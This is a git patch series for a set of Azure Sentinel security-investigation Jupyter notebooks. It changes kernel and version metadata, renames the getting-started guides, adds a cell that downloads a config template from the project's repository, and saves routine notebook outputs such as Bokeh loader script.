qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", + " \n", + "display(timeline.display_timeline(logons_df.head(10), source_columns=[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\"], group_by=\"AppDisplayName\"))" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "MSTICpy also includes a feature to allow you to map locations, this can be particularily useful when looking at the distribution of remote network connections or other events. Below we plot the locations of remote logons observed in our Azure AD data." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from msticpy.sectools.ip_utils import convert_to_ip_entities\n", + "from msticpy.nbtools.foliummap import FoliumMap, get_map_center\n", + "\n", + "# Convert our IP addresses in string format into an ip address entity\n", + "ip_entity = entityschema.IpAddress()\n", + "ip_list = [convert_to_ip_entities(i)[0] for i in logons_df['IPAddress'].head(10)]\n", + " \n", + "# Get center location of all IP locaitons to center the map on\n", + "location = get_map_center(ip_list)\n", + "logon_map = FoliumMap(location=location, zoom_start=4)\n", + "\n", + "# Add location markers to our map and dsiplay it\n", + "if len(ip_list) > 0:\n", + " logon_map.add_ip_cluster(ip_entities=ip_list)\n", + "display(logon_map.folium_map)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + " - The [Infosec Jupyterbook](\"https://infosecjupyterbook.com/\") includes a section on data visualization.\n", + " - [Bokeh Library Documentation](\"https://bokeh.org/\")\n", + " - [Matplotlib tutorial](\"https://matplotlib.org/3.2.0/tutorials/index.html\")\n", + " - [Seaborn visualization library tutorial](\"https://seaborn.pydata.org/tutorial.html\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Conclusion\n", + "This notebook has showed you the basics of using notebooks and Azure Sentinel for security investigaitons. There are many more things possible using notebooks and it is stronly encouraged to read the material we have referenced in the learn more sections in this notebook. You can also explore the other Azure Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible.
\n", + "### Appendix:\n", + " - [Jupyter Notebooks: An Introduction](\"https://realpython.com/jupyter-notebook-introduction/\")\n", + " - [Threat Hunting in the cloud with Azure Notebooks](\"https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0\")\n", + " - [MSTICpy documentation](\"https://msticpy.readthedocs.io/\")\n", + " - [Azure Sentinel Notebooks documentation](\"https://docs.microsoft.com/en-us/azure/sentinel/notebooks\")\n", + " - [The Infosec Jupyterbook](\"https://infosecjupyterbook.com/introduction.html\")\n", + " - [Linux Host Explorer Notebook walkthrough](\"https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273\")\n", + " - [Why use Jupyter for Security Investigations](\"https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729\")\n", + " - [Security Investigtions with Azure Sentinel & Notebooks](\"https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921\")\n", + " - [Pandas Documentation](\"https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html\")\n", + " - [Bokeh Documentation](\"https://docs.bokeh.org/en/latest/\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3.6", + "language": "python", + "name": "python36" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.6.7" + },, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "state": {}, + "version_major": 2, + "version_minor": 0 + } + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb index 82b97f4b..3d4ec7e3 100644 --- a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb +++ b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb @@ -527,9 +527,9 @@ ], "metadata": { "kernelspec": { - "display_name": "Python 3", + "display_name": "Python 3.6", "language": "python", - "name": "python3" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -541,7 +541,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.8.0" + "version": "3.6.7" } }, "nbformat": 4, diff --git a/Guided Investigation - Anomaly Lookup.ipynb b/Guided Investigation - Anomaly Lookup.ipynb index d00b9ff8..22c40a31 100644 --- a/Guided Investigation - Anomaly Lookup.ipynb +++ b/Guided Investigation - Anomaly Lookup.ipynb @@ -154,7 +154,7 @@ "nbconvert_exporter": "python", "name": "python", "pygments_lexer": "ipython3", - "version": "3.6.6", + "version": "3.6.7", "file_extension": ".py", "codemirror_mode": { "version": 3, diff --git a/Guided Investigation - MDATP Webshell Alerts.ipynb b/Guided Investigation - MDATP Webshell Alerts.ipynb index 0f23144c..ffde034e 100644 --- a/Guided Investigation - MDATP Webshell Alerts.ipynb +++ b/Guided Investigation - MDATP Webshell Alerts.ipynb @@ -720,9 +720,9 @@ ], "metadata": { "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -734,7 +734,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "widgets": { "application/vnd.jupyter.widget-state+json": { diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index c0ae22c1..d42d4886 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -1400,9 +1400,9 @@ "name": "python3" }, "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1414,7 +1414,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb index 941d36a0..f5d12817 100644 --- a/Guided Triage - Alerts.ipynb +++ b/Guided Triage - Alerts.ipynb @@ -7,16 +7,16 @@ }, "source": [ "

Table of Contents

\n", - "
" + "
" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "# Example Alert Triage Notebook\n", + "# Alert Triage Notebook\n", "\n", - "**Notebook Version:** 1.0
\n", + "**Notebook Version:** 1.1
\n", "**Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", "**Data Sources Required:** SecurityAlerts
\n", "\n", @@ -635,9 +635,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -649,8 +649,8 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" - }, + "version": "3.6.7" + },, "latex_envs": { "LaTeX_envs_menu_present": true, "autoclose": false, diff --git a/SigmaRuleImporter.ipynb b/SigmaRuleImporter.ipynb index 3e0ac4bd..2c668f0c 100644 --- a/SigmaRuleImporter.ipynb +++ b/SigmaRuleImporter.ipynb @@ -539,7 +539,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.5" + "version": "3.6.7" }, "toc": { "base_numbering": 1, diff --git a/TroubleShootingNotebooks.ipynb b/TroubleShootingNotebooks.ipynb index 1482d566..ebb1cf96 100644 --- a/TroubleShootingNotebooks.ipynb +++ b/TroubleShootingNotebooks.ipynb @@ -522,7 +522,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.5" + "version": "3.6.7" }, "toc": { "base_numbering": 1, From 4f27c3b453f4c805d33ecbb333dccb159c3a5642 Mon Sep 17 00:00:00 2001 From: petebryan Date: Thu, 25 Jun 2020 16:12:05 -0700 Subject: [PATCH 09/23] File renames as needed by UI --- ...ting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb | 0 ...Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename Getting Started with Azure ML Notebooks.ipynb => A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb (100%) rename Getting Started with Azure Sentinel Notebooks.ipynb => A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb (100%) diff --git a/Getting Started with Azure ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb similarity index 100% rename from Getting Started with Azure ML Notebooks.ipynb rename to A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb diff --git a/Getting Started with Azure Sentinel Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb similarity index 100% rename from Getting Started with Azure Sentinel Notebooks.ipynb rename to A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb From 23d2b3a4e823064d84869e0ed2c61148dd1b4ce1 Mon Sep 17 00:00:00 2001 From: petebryan Date: Fri, 26 Jun 2020 11:53:49 -0700 Subject: [PATCH 10/23] Getting Started Fixes --- ...uide For Azure Sentinel ML Notebooks.ipynb | 20 +++++++++++++++---- ...d Guide For Azure Sentinel Notebooks.ipynb | 18 ++++++++++++++--- 2 files changed, 31 insertions(+), 7 deletions(-) rename A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb => A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb (97%) rename A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb => A Getting Started Guide For Azure Sentinel Notebooks.ipynb (98%) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb similarity index 97% rename from A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb rename to A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index a7894d08..85ed7f2b 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -194,7 +194,19 @@ "metadata": {}, "outputs": [], "source": [ - "%pfile msticpyconfig.yaml" + "import yaml\n", + "def print_config():\n", + " with open('msticpyconfig.yaml') as f:\n", + " data = yaml.load(f, Loader=yaml.FullLoader)\n", + " print(yaml.dump(data))\n", + "try:\n", + " print_config()\n", + "except FileNotFoundError:\n", + " print(\"No msticpyconfig.yaml was found in your current directory.\")\n", + " print(\"We are downloading a template file for you.\")\n", + " import urllib\n", + " urllib.request.urlretrieve(\"https://raw.githubusercontent.com/Azure/Azure-Sentinel-Notebooks/master/msticpyconfig.yaml\", \"msticpyconfig.yaml\")\n", + " print_config()" ] }, { @@ -651,7 +663,7 @@ "# Create a new column called TIRisk and populate that with the TI severity score of the IP Address in that row\n", "enrich_logons_df['TIRisk'] = enrich_logons_df.apply(lookup_res, axis=1)\n", "# Display a subset of columns from our DataFrame\n", - "enrich_logons_df[[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\", \"TIRisk\"]]" + "display(enrich_logons_df[[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\", \"TIRisk\"]])" ] }, { @@ -810,7 +822,7 @@ } ], "metadata": { - "kernelspec": { + "kernelspec": { "display_name": "Python 3.6", "language": "python", "name": "python36" @@ -825,7 +837,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.8.3" }, "widgets": { "application/vnd.jupyter.widget-state+json": { diff --git a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb similarity index 98% rename from A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb rename to A Getting Started Guide For Azure Sentinel Notebooks.ipynb index 2a6eb0f0..ab983137 100644 --- a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb +++ b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb @@ -194,7 +194,19 @@ "metadata": {}, "outputs": [], "source": [ - "%pfile msticpyconfig.yaml" + "import yaml\n", + "def print_config():\n", + " with open('msticpyconfig.yaml') as f:\n", + " data = yaml.load(f, Loader=yaml.FullLoader)\n", + " print(yaml.dump(data))\n", + "try:\n", + " print_config()\n", + "except FileNotFoundError:\n", + " print(\"No msticpyconfig.yaml was found in your current directory.\")\n", + " print(\"We are downloading a template file for you.\")\n", + " import urllib\n", + " urllib.request.urlretrieve(\"https://raw.githubusercontent.com/Azure/Azure-Sentinel-Notebooks/master/msticpyconfig.yaml\", \"msticpyconfig.yaml\")\n", + " print_config()" ] }, { @@ -879,8 +891,8 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" - },, + "version": "3.8.3" + }, "widgets": { "application/vnd.jupyter.widget-state+json": { "state": {}, From c52eda78f22b327337cad8642c7350b4039949ff Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Fri, 26 Jun 2020 12:35:25 -0700 Subject: [PATCH 11/23] Fixing NB format errors in Getting Started guides. Fixing kernel_spec in notebooks Replacing Output widget in Guided Investigation - Process-Alerts Fixing bug in check_nb_kernel.py --- ...uide For Azure Sentinel ML Notebooks.ipynb | 6 +- ...d Guide For Azure Sentinel Notebooks.ipynb | 2 +- ConfiguringNotebookEnvironment.ipynb | 4 +- Guided Investigation - Process-Alerts.ipynb | 6570 ++++++++++++++++- Guided Triage - Alerts.ipynb | 2 +- utils/check_nb_kernel.py | 27 +- 6 files changed, 6354 insertions(+), 257 deletions(-) rename A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb => A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb (99%) rename A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb => A Getting Started Guide For Azure Sentinel Notebooks.ipynb (99%) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb similarity index 99% rename from A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb rename to A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index a7894d08..88b1fb9c 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -810,8 +810,8 @@ } ], "metadata": { - "kernelspec": { - "display_name": "Python 3.6", + "kernelspec": { + "name": "Python 3.6", "language": "python", "name": "python36" }, @@ -825,7 +825,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "widgets": { "application/vnd.jupyter.widget-state+json": { diff --git a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb similarity index 99% rename from A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb rename to A Getting Started Guide For Azure Sentinel Notebooks.ipynb index 2a6eb0f0..c1b1485a 100644 --- a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb.ipynb +++ b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb @@ -880,7 +880,7 @@ "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.7" - },, + }, "widgets": { "application/vnd.jupyter.widget-state+json": { "state": {}, diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index e69bdc4b..b99bf109 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -482,9 +482,9 @@ "hide_input": false, "history": [], "kernelspec": { - "display_name": "Python (condadev)", + "name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index d42d4886..30b85d35 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -72,14 +72,105 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 1, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:10:54.830029Z", "start_time": "2020-05-16T02:10:50.255047Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Starting Notebook setup...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking Python kernel version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Python kernel version 3.6.10 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking msticpy version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "msticpy version 0.6.0 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Processing imports....\n", + "Checking configuration....\n", + "\n", + "The following configuration errors were found: \n", + " -----------------------------------------------\n", + "TIProviders/AzureSentinel: Missing or invalid WorkspaceID.\n", + "TIProviders/AzureSentinel: Missing or invalid TenantID.\n", + "\n", + "The following configuration warnings were found: \n", + " -------------------------------------------------\n", + "No AzureCLI section in settings.\n", + "Setting options....\n" + ] + }, + { + "data": { + "text/html": [ + "

Notebook setup failed

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "from pathlib import Path\n", "import os\n", @@ -144,7 +235,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 2, "metadata": {}, "outputs": [], "source": [ @@ -154,14 +245,177 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 3, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:11:20.062429Z", "start_time": "2020-05-16T02:10:57.597153Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Please wait. Loading Kqlmagic extension...\n" + ] + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.reconnect();} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " \n", + "
\n", + " \n", + " \n", + "
\n", + "\n", + " \n", + "\n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Authentication\n", "ws_config = WorkspaceConfig()\n", @@ -182,14 +436,57 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 4, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:11:21.408605Z", "start_time": "2020-05-16T02:11:21.347607Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "a346f97b03564932b88fca7ea8667a24", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "13159e0c71e54973bb32371b589f3f6b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2020, 6, 26), description='Origin Date'), Text(value='17:44:07.4…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "9c58b762a5b14ab7af0c591395a61e81", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-24, 1), description='Time Range (hour):', layout=Layout(width='80%'), ma…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "alert_q_times = nbwidgets.QueryTime(\n", " units='hour', max_before=72, max_after=1, before=24\n", @@ -199,14 +496,580 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 5, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:07.827669Z", "start_time": "2020-05-16T02:14:02.907988Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "8 distinct alert types\n", + "8 distinct alerts\n" + ] + }, + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1001\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return 